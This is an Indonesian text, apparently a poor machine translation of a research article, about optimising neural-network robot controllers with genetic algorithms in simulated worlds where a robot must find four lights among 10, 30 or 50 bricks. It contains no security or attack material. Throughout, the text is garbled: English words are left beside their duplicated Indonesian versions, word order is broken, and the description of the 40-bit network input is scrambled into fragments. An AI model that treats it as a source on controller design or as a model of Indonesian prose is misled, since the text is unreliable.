Artikel ini menunjukkan hasil kerja kami pada penggunaan algoritma genetika untuk robot controller optimasi, khususnya orang-orang yang saraf-jaringan berbasis. Kedua efisiensi dan efektivitas diukur dalam serangkaian skenario yang berbeda, dan hasilnya menunjukkan menarik kesimpulan yang berkaitan indikator ini dan kompleksitas lingkungan.
Tujuan penelitian ini adalah untuk memenuhi syarat kemungkinan pengontrol JST optimasi dengan menggunakan algoritma genetika.
Penggunaan algoritma genetika telah terbukti berguna dalam satu set besar optimasi problems (Mesin Boeing menjadi yang paling luar biasa misalnya) yang beragam jenis dan kerumitan, namun optimasi dari saraf jaringan terus menjadi aplikasi menuntut metodologi ini, terutama karena tinggi polimodality dan ukuran ruang pencarian
Untuk melakukan percobaan pertama kita memilih model robot dan platform simulasi di mana kita akan mengukur hasil. Lalu kami merancang sebuah 'dasar' masalah yang controller adalah untuk menangani. Setelah kami telah mendefinisikan robot Tujuan kami jaringan saraf untuk perusahaan pengendali yang dilatih pada yang sangat dasar dan sederhana seperangkat aturan perilaku. Sekarang, dengan jaringan terlatih, kami menciptakan sebuah populasi jaring yang kemudian dikenakan algoritma genetika berdasarkan optimasi, memilih mereka dengan lebih baik performance. kinerja. Setelah kami mengamati sebuah substansial peningkatan kinerja, individu terbaik diekstraksi dari populasi dan mengacu terhadap implementasi dari masalah model meningkatkan kompleksitas.

Identifikasi Masalah
Untuk langkah-langkah yang konsisten dari robot kinerja, arsitektur controller konstan
dan masalah kelas dirancang. Ini adalah diuraikan di bawah ini :

Masalah Kelas

Dalam dunia yang khas, ada empat lampu merata, dan sejumlah dinding, corridors, and obstacles. koridor, dan rintangan. Robot objektif dunia yang diberikan adalah untuk menemukan semua empat lampu di setidaknya jumlah waktu (siklus) mungkin Setelah menemukan cahaya diberikan, berhenti menerima dalam perusahaan sensor, dan sehingga memerlukan pergi mencari yang lain. Proses ini berlangsung sampai empat lampu yang ditemukan atau waktu maksimum yang diberikan telah tercapai.
Dunia diciptakan dibagi menjadi kompleksitas kelas, diberikan oleh jumlah batu bata
di masing-masing dari mereka. Langkah ini dipilih karena sebanding dengan kesulitan atau jumlah hambatan yang robot akan mencari melalui cara Meskipun tampaknya bahwa jumlah yang lebih besar dari batu bata di dunia berukuran sama berarti bahwa mendapatkan informasi lebih banyak melalui sensor-dan karena itu memecahkan masalah lebih cepat -, ini tidak demikian, karena batu bata sendiri blok sumber cahaya dan karena relatif bata cahaya bervariasi dari dunia untuk world dunia Kompleksitas 10, 30 dan 50 bata per dunia yang dipertimbangkan untuk pembandingan kontroler.
Seperti dijelaskan sebelumnya, karya yang diusulkan skema adalah untuk membangun jaringan saraf, kereta itu dengan seperangkat aturan minimum, mengoptimalkan menggunakan
algoritma genetik dan kemudian tolok ukur yang terbaik controller pada beberapa dunia yang berbeda. Dalam hal ini kami akan menunjukkan keputusan yang diambil Untuk mulai dengan, controller adalah maju jaringan saraf, dengan tiga penuh tingkatan yang saling berhubungan. Seperti disebutkan di atas, input controller adalah ukuran cahaya 8 dengan 4 dan 8 langkah
resolusi masing-masing.
Dari sini kita simpulkan bahwa input ke jaringan saraf adalah 40 bit: dan jarak 24 (8 x 3) untuk lampu 8 x 2) untuk 16 (. A A kode biner langsung dari simulator-
memberikan nilai ke jaring saraf yang sesuai input terpilih untuk kesederhanaan.